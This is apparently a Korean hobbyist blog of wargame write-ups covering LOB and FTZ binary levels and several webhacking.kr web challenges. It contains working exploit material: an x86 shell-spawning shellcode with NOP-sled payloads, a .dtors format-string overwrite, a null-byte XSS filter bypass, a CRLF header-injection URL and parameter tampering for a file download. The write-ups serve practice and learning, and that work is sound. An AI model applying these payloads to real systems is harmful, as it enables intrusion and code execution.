Wargame

[LOB] gremlin -> cobolt

2018. 3. 30. 16:24


전문제가 버퍼이용하란 거엿나....


그냥 쉘코드 이용했는데; 뭐 상관없겠지;


이번에도 쉘코드등록하고 공격 ㄱㄱ



사용쉘코드

export sh=`python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`


payload

./cobolt `python -c 'print("A"*16+"BBBB"+"\x0c\xfb\xff\xbf")'`




'Wargame > LOB' 카테고리의 다른 글

[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gate -> gremlin  (0) 2018.03.30
[FTZ] level 20 - 2  (0) 2018.03.30
[FTZ] level 20  (1) 2018.03.28

[LOB] gate -> gremlin

2018. 3. 30. 16:10


lob 시작!



버퍼 크기 256.


BOF 취약점 있음


SHELL코드 환경변수에 등록후 그 주소값으로 ret를 덮어쓰기





dummy 없음


사용 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80



앞에 NOP으로 조금 채워넣음



굿

'Wargame > LOB' 카테고리의 다른 글

[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gremlin -> cobolt  (0) 2018.03.30
[FTZ] level 20 - 2  (0) 2018.03.30
[FTZ] level 20  (1) 2018.03.28

[FTZ] level 20 - 2

2018. 3. 30. 00:46

저번에 하다가 망해버려서... 다른 사람들 writeup을 봣다.


재미있는 걸 알았는데... 바로 정리정리



.dtors

- GNU 컴파일러로 컴파일 된 프로그램은 소멸자생성자의 테이블 섹션인 .dtors와 .ctors를 생성

생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자함수와 .dtors 섹션은 main()이 exit 시스템콜로 종료되기 직전에 호출된다.



그러므로 여기서는 main()의 ret영역 대신 이 .dtors 영역을 이용해 실행흐름을 변경하면 된다.



음... 사람들 마다 말하는게 좀 다른거같은데... 소멸자가 main()이 종료된 후 실행된다는데


찾아보니


 .dtors


080abcde d __DTOR_END__


소멸자로 프로그램이 종료되기 전에 여기에 명시되있는 함수가 호출되는듯 


- 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있다.

- 이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킨다.

- 프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있다.


FSB로 dtors+4번째 있는 값(__DTOR_END__이다)을 쉘코드 주소로 바꿀경우 소멸자가 호출될때 실행이 된다. 



일단 .dtors의 주소를 찾자.



찾았다. 쉘코드 주소를 덮어쓸 장소는 저기다.


쉘코드는 저번글에서 이미 등록했고... 주소를 구하면 0xbfffc430인데 nop값이 있으니 여유있게 1000정도 더해주자



자... 이제 payload만 구성하면 될듯하다.


.dtors + 4 : 0x08049598

shellcode : 0xbfffc818


(python -c 'print("\x98\x95\x04\x08"+"\x99\x95\x04\x08"+"\x9a\x95\x04\x08"+"\x9b\x95\x04\x08"+"%8x"+"%4$n"+"%176x"+"%5$n"+"%55x"+"%6$n"+"%192x"+"%7$n")'; cat) | ./attackme



몇시간 삽질했지만... 풀었다 후..;;


이렇게 빨리 풀릴걸 삽질햇네 ㅡㅡ;

'Wargame > LOB' 카테고리의 다른 글

[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gremlin -> cobolt  (0) 2018.03.30
[LOB] gate -> gremlin  (0) 2018.03.30
[FTZ] level 20  (1) 2018.03.28

[FTZ] level 20

2018. 3. 28. 14:13

LOB 게시판이지만 FTZ level 20을 풀면서 한번 써본다.


level20 문제는 일단 Format String Attack 문제이다.


링크된 이 블로그의 내용을 참고하였다. 잘정리된거 같다.


자 이제 문제를 풀자.



일단 파일은 위와 같이 보인다.



힌트를 보면 이 프로그램에 대해 알 수 있다.


일단 setreuid가 있으니 이제 쉘만 불러주면 될 것같다.


그러나 fgets함수에서 79자만 받아가기때문에... 버퍼오버플로우를 일으켜 메모리를 덮어쓸수가 없다.




gdb로 분석해보려했으나 main 심볼이 지워진듯하여 분석하지 못한다.


이제 포맷스트링어택의 차례다. 


내가 여기에 설명하면 뭐하리... 백문이불여일견이라... 위에 링크에서 보도록하자.


일단 포맷스트링버그를 이용해서 분석해보았다.



%x가 4번째 나오는 부분에서 bleh버퍼가 시작되는것을 알 수있다.


=> 앞에 dummy값이 12byte있다.



한계까지 출력해보았다. 저기보이는 bffffae8이 sfp일것같다. 하지만 혹시 아닐지도 모른다.


포맷스트링에서 달러기호($)를 사용하면 인자에 바로 접근할 수 있다.



이렇게 4번째 인자에 바로 접근 가능해서 바로 AAAA(41414141)의 값이 출력되는 것을 볼 수 있다.

dummy(12)+bleh(80)+?+sfp(4)+ret(4)+argc(4) 로 되어있을테니... bleh뒤로 출력되는 값들이 어떤지 한번 보자.



오홍... argc가 1값일테니 이제 대충 스택이 어떻게 구성되는지 알 거 같다. 



argv

argc

ret(4) : 

sfp(4) : 

dummy(8)

bleh(80)

 dummy(12)


인자에 바로 접근할 수 있으니... %27$n으로해서 리턴어드레스를 우리 쉘코드 주소로 옮겨주자.


처음에는 system함수를 부르려햇는데 주소도 모르고... 또 불러도 인자도 못넣고... 


한참 생각후 환경변수에 등록하는 방법이 있었다는 사실을 떠올렸다..


쉘코드는 이걸 썻다. 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80






자 이제 주소도 구했으니... 덮어쓰기를 해보자... 라고 생각했으나... ㅋㅋㅋㅋ


아 이렇게 멍청할수가... %n으로 저장하는 것은 %n앞에 지금까지 출력된 문자열의 길이이고


또 %n의 인자에 해당하는 값은 주소값으로 그 주소값이 가리키는 곳에 저장되는 것!


결국 ret를 덮어쓰려면... ret에 들어있는 값을 알아야하는게 아니라... ret가 위치한 주소를 알아야하는데 그걸 모른다 ㅇㅇ;






재미있는 방법을 생각해내었다. 


./attackme "ABCD" 한다고 하면 ebp+12의 위치에 저 agrv의 주소가 있을 것이고, argv[0]과 argv[1]의 주소값에 실행파일명과 "ABCD"가 저장되어 있을 것이다.



쉘스크립트로 자동화를 좀 하였다. 


./attackme AAAABBBBCCCC_TEST_ARG로 실행하고, 

bleh값으로 "%숫자$p %숫자$s"으로 하여 '%숫자'인자의 값과 그 값의 주소에 있는 문자열을 출력하게 하였다.



이렇게 나왔다. 즉


argv[0]의 주소 : 0xbfffc15f  /  저장된 문자열 : ./attackme

argv[1]의 주소 : 0xbfffc16a /   저장된 문자열 : AAAABBBBCCCC_TEST_ARG



여러번 실행을 통해 argv[0], argv[1]의 주소값이 바뀌는지 실험해보았다.

결과, 저 주소값은 고정되어있다는 것을 알 수 있었다.


그리고 테스트실행파일을 컴파일해본 결과 $ebp의 값도 고정된다.


이제 저 문자열들이 포맷스트링어택에서 몇번째 인자에 위치한지 알아보자.




미치겠네... 여기서 또 막혔다.


저장된 문자열로 "AAAAAAAAA ... AAAA"로 넣어서 찾아봤는데; 이게 실행마다 다르고 띄엄띄엄하다;;

아마 접근을 못할때가 잇어서 이럴때는 안되는것같다 ㅠ;


저번에 본건데 이 때 pattern_create.rb라는 도구가 도움이 될 것 같다. 

(https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb)


Metasploit은 오프셋을 계산하는데 도움이 되는 pattern_create.rb 도구, 이 도구는 유일한 패턴을 가진 문자열을 생성한다. 



1000개정도만 생성한것을 가져와봤다.


Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh


이걸 넣고 위치를 계산해보자.





가끔식 값을 출력못해주는데 몇번씩 돌려가면 이렇게 모을수 있다...


저 값들을 빅엔디안으로 정렬해보면...



6Ab7Ab8Ab9Ac 이다. 패턴에서 저부분을 찾아보면..

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1


저기에 있고, 저 부분의 위치가 122,123,124인것을 볼 때 문자열의 시작부분의 위치는....


109~110사이인것같다.



107~109가 /attackme 인것같다.


argv[0]의 주소 : 0xbfffc15f  /  저장된 문자열 : ./attackme


위와 같으므로.. 

0xbfffc15f+1 = 0xbfffc160 / 저장된 문자열 : /attackme    / 포맷스트링 인자위치 : 107


가 되겠다. 후.... 그럼 이제 역으로 ret의 주소를 계산하자...


ret의 포맷스트링인자위치는 27이고 0xbfffc160의 인자위치가 107이므로... 80의 위치차이가 난다.


그러므로 ret의 주소는 0xbfffc160 - (4*80) = 0xbfffc020이 된다!


제발 맞았으면 좋겟다; 개 노다가 ㅠㅠ;








는 망함....ㅋㅋㅋㅋㅋㅋ 뭔짓을 한거지


그냥 스택 ret주소 랜덤으로 계속 변하는데 ㅂㄷㅂㄷ


'Wargame > LOB' 카테고리의 다른 글

[LOB] goblin -> orc  (0) 2018.03.30
[LOB] cobolt -> goblin  (0) 2018.03.30
[LOB] gremlin -> cobolt  (0) 2018.03.30
[LOB] gate -> gremlin  (0) 2018.03.30
[FTZ] level 20 - 2  (0) 2018.03.30

[Webhacking.kr] 31번 미해결

2018. 3. 27. 21:43



31번에 들어가면 

$port=rand(10000,10100);
$socket=fsockopen("$_GET[server]","$port",$errno,$errstr,3) or die("error : $errstr");

위와 같이 socket 으로 서버에 접속하는 것이 보이고... 조금 시간이 지나면


Warning과 함께 error : Connection timed out을 출력한다.


포트는 rand함수로 10000~10100의 값중 랜덤하게 설정된다.


...


즉 내 아이피의 포트를 10000~10100들을 열어두면 저 포트들중 랜덤으로 한포트에 데이터를 보내겠다는 거같다.


포트포워딩을 해야할거 같은데... 어케 하지 ㅂㄷ;;





[Webhacking.kr] 11번 정규식

2018. 3. 27. 21:09



preg_match

(PHP 4, PHP 5, PHP 7)

preg_match — 정규표현식 매치를 수행

설명 ¶

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags [, int$offset ]]] )

pattern에 주어진 정규표현식을 subject에서 찾습니다.

preg_match를 통해 get으로 받은 파라미터 val에 $pat에 주어진 정규표현식이 있다면 password를 출력한다.


여기(http://php.net/manual/kr/function.preg-match.php) 가서 정규표현식을 보고 오자...


이제 val을 구성해보자. 



$pat="/[1-3][a-f]{5}_.*(my-ip값).*\tp\ta\ts\ts/";

if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }



[1-3] : 1~3중 아무 값

[a-f]{5} : a~f 중 아무 값 5개

_ : _

.* : 아무거나 0 이상반복

ip 값

.* : 아무거나 0 이상반복

\t :  탭 url 인코딩 %09

pass


val = 1aaaaa_ip%09p%09a%09s%09s






[Webhacking.kr] 36번 VI

2018. 3. 27. 20:39


문제에 들어가면 달랑 저거만 있다.


hint :


vi

blackout



소스코드를 봐도 별게 없다. 


리눅스상에서 vi 에디터를 사용하다가 터미널이 꺼지거나 예상치못한 종료가 일어났을때,

백업을 위해 swap 파일이 남는 경우가 있다. 이 문제는 그것과 관련있을 것 같다.


방금 검색해서 알았는데, 그냥 vi 에디터로 편집하고 있으면 백업파일로 .파일이름.swp 파일이 생성되는 거였네... 뭐 어쨋든


그래서 .index.php.swp를 보면 될 것 같다.



이렇게 나온다... 아 으.. 이게 아닌감 ㅡㅡ;


혹시 다른건가 싶어 여러개 시도해봤지만... 결과는 역시 Not Found...


하도 안되서 다른사람들 라이트업을 검색해보았다.






검색해보니 최근에 저렇게 된듯 하다...(다른 사람들은 잘만 풀었다. 물론 2015~2017년도 글이다. 2018년도 사람들은 나와 같이 Not Found에서 좌절...)


그냥 귀찮으니 풀지 말까 생각하다가... 


예전에 푼 사람들이 저 페이지에 들어갔을 때 나온 것을 풀어보도록하기로 했다. 원래 저 페이지에 들어가면 아래와 같이 나온다고 한다.



$password=md5(~~~)로 되어있다... 저값을 md5값으로 변환시켜서 인증시키면 될거같다.


(dlseprtmvpdlwlfmfquswhgkwkglgl = 인덱스페이지를변조하자히히)


(자신의 ip + "인덱스페이지를변조하자히히"(영문버전))을 md5로 인코딩해서 auth에 인증하면 될것같다... 해보자


webhacking.kr의 memo에서 왠만하면 다 할 수 있다. ip도 알려주고.... md5도 인코딩할수 있다.








[Webhacking.kr] 23번

2018. 3. 27. 17:57


Your mission is to inject <script>alert(1);</script>



라고한다.



일단 잘 모르겠으면 소스를 보자


get방식으로 index.php에 보내는 것을 볼 수 있다.


한번 아무거나 입력해보자.



code=234 로 code값에 넣어져 전송되고 그 값이 그대로 나오는 것을 볼 수 있다.


우리가 해야하는 것은 스크립트 실행이므로 스크립트를 저기 넣으면 되는 것인가?


싶어서 그대로 넣어보았다...



no hack이란다.. 일단 필터가 있나보다 뭐가 필터인지는 잘모르겠다. 시도를 좀 해볼까


... 시도해봤는데 al만 넣어도 핵이란다 ㅂㄷㅂㄷ;


필터가 대단히 잘걸려있다... 이걸 우회해서 alert(1);을 해야한다.




오... 앞부분에 null값을 넣고 시작했더니 alert가 온전히 출력되었다. 이렇게 우회가 되는구나...;


아마 필터하려고 검사하는 부분에서 첫부분이 null값이 들어가 있어서 null에서 끓겨버려서 필터링이 안되는 것같다.


이제 뒷부분에 <script>alert(1);</script>을 넣으면 되나 싶어서 해보았다.



크롬이 막아버렸다... 아래에러 코드를 보니 ERR_BLOCKED_BY_XSS_AUDITOR라고... XSS 공격을 막은거 같다...


찾아보니 롬에서 XSS에 대한 테스트를 하면 발생하는 것으로, 이는 웹브라우저에 탑재된 XSS Auditor가 블랙리스트에 등록된 스크립트를 발견했을 때 발생시키는 에러라고 한다. XSS Auditor는 크롬과 사파리에 탑재되어 있고, 기본 동작하도록 설정되어 있고, XSS Auditor의 동작은 X-XSS-Protection이라는 HTTP Response 헤더에 의해 결정된다. 


그래서 우회하려면 프록시 설정하고 버프슈트같은걸로 저 헤더끄고하면 된다고 한다. (http://xiphiasilver.net/?p=293)


귀찮아서 익스플로러에서 해보기로 했다.


잉... 근데 풀려있다 ㅋㅋ; 아마 스크립트입력시킨 시점에서 서버에서는 클리어로 판정해줫나보다 ㅋㅋ



심지어 익플에서도 안된다 ...



나중에 한번 저 옵션을 끄고한번 해봐야겠다 ㅋ



+ 추가!!!


다른 사람이 푼 라이트업도 보고싶어서 검색해보니 필터링을 우회하려고 문자중간중간에 null값을 넣어서 보내줬다고 한다.


그러니까 이런식으로 보냈다는 건데...


?code=%00<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(%001%00)%00;%00<%00/%00s%00c%00r%00i%00p%00t%00>%00


<script>alert(1);</script> 중간에 %00값을 하나하나 집어넣어준것이다.


이렇게 보내보니....



이렇게 풀린다... ㅋㅋ; 물론 null값때문에 약간 이상하게 보이긴하다만... 저값도 <옆으 %00들을 없애면 좀 보기좋게 나온다.



신기하네... 물론 스크립트가 실행되진않았지만;; 아까는 크롬에서 에러코드띄우면서 막던거를 여기서는 안막는다...ㅋㅋ



헤더 인젝션 문제이다. 일단 헤더 인젝션이 뭔지 검색해보았다.


헤더인젝션은 공격자가 헤더에 개행문자(%0d%0a)를 삽입하여 그뒤에 헤더를 추가하여 공격하는 수동적인 공격방식이다.


이 공격으로 임의의 HTML을 보여주거나 다른 URL로 리다이텍트시킬수 있고, 쿠키를 임의로 생성할 수 있다.


여기서 원하는 것은 헤더인젝션을 통해 id=sherlock값을 가진 쿠키를 생성하는 것이다.


좋은 예시나 설명이 여기에 있다 (https://www.gracefulsecurity.com/http-header-injection/)


그래서 공격코드는 밑과 같이 작성하면 쿠키가 생성될것 같다.


http://webhacking.kr/challenge/web/web-27/?id=%0d%0aSet-Cookie:%20id=sherlock


%0d%0a를 통해 개행을 하고 Set-Cookie: id=sherlock을 request에 추가해넣는것이다.




그러나 아무일도 일어나지 않았다...


왜 그런가해서 Burp Suit로 분석해보기로 하였다.


먼저 헤더생성을 누르면 id 부분이 request에 추가된다.



get방식으로 id=sherlock이라는 파라미터가 전달된다.



response에서도 헤더에 id: sherlock이 보인다.



이번엔 공격코드를 보냈을 때다




?????


아까는 잘되던 id: ~~ 부분이 날라가버렸다 ;;


아마 필터링을 하던 뭐를 하던해서 없애버리는 것 같다.


그래서 계속 이걸 어떻게하지하고 삽질하다가....;;;


문제가 쿠키생성에서 바뀌었다는것을 알게 되었다 ㅡㅡ;


문제를 다시 읽어보자...




클리어조건이 예전 문제에서는 쿠키생성이였다면... 


지금은 그냥 id: ~~~ 밑에 clear: sherlock 이라고 추가만 하면 클리어하는 것으로 바뀌었다.


그래서 Set-Cookie: sherlock으로 공격하던것을 clear: sherlock으로 바꾸어주기만 하면 된다.








문제를 풀러 들어가면 위와 같은 표가 나오고 누르면 다운로드할수 있게 되어있다.


test.txt를 다운로드를 누르면 아래와 같은 url로 이동한다. 중간에 있는 저 값은 32자로 md5로 사료된다.


물론 아닐수도 있다... 심심해서 디코딩해봣는데 아무것도 안나온다 ㅋㅋ



그리고 ZIP파일을 다운하려했더니 Access Denied가 떴다. 일단은 소스를 보도록하자.



소스파일은 아래와 같고...





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<title>Challenge 42</title>
</head>
<body>
 
<table border=1 align=center width=300>
<tr><td width=50>no</td><td>subject</td><td>file</td></tr>
<tr><td>2</td><td>test</td><td>test.txt [<a href=?down=dGVzdC50eHQ=>download</a>]</tr>
<tr><td>1</td><td>read me</td><td>test.zip [<a href=javascript:alert("Access%20Denied")>download</a>]</td></tr>
</table>
 
<!--
test.zip password is only numbers
-->
 
</body>
</html>
 
cs



주석을 보면 test.zip password is only numbers란다.


숫자로만 패스워드가 설정된 zip파일은 크랙하기 쉬울것으로 보인다. (4자리라면 매우 쉽겠지...)


그리고 위의 test.txt의 다운로드 링크가 걸린것을 보면 [<a href=?down=dGVzdC50eHQ=>download</a>] 이렇게 되있는데


저 중간의 ?down=dGVzdC50eHQ=을 변조하면 test.zip도 다운할수 있을것같다. 모양새를 봐선 base64인코딩같다. 


디코드해보자



오오... test.txt가 맞다. 그럼 저 값을 test.zip으로 인코딩해서 이동해보자.


test.zip의 base64인코딩 값은 dGVzdC56aXA= 이다.


?down=dGVzdC56aXA=로 주소창에 써넣자 test.zip이 다운로드되었다.



패스워드는 숫자로만 구성됬다고 했으니 브루트포싱해보자.



아; 하지만 trial 버전이라.. 패스워드 길이는 최대 4까지만 설정가능하다.


하지만 성공해서 별다른 문제는 없었다.... 실패했으면 Kali Linux에 있는 fcrackzip을 쓰면 좋다ㅇ..



이제 비밀번호를 입력하고 readme.txt를 읽어보면 아래와 같이 url이 나오고 들어가면



패스워드가 나오고 auth에서 입력하면 클리어가 된다.




+ Recent posts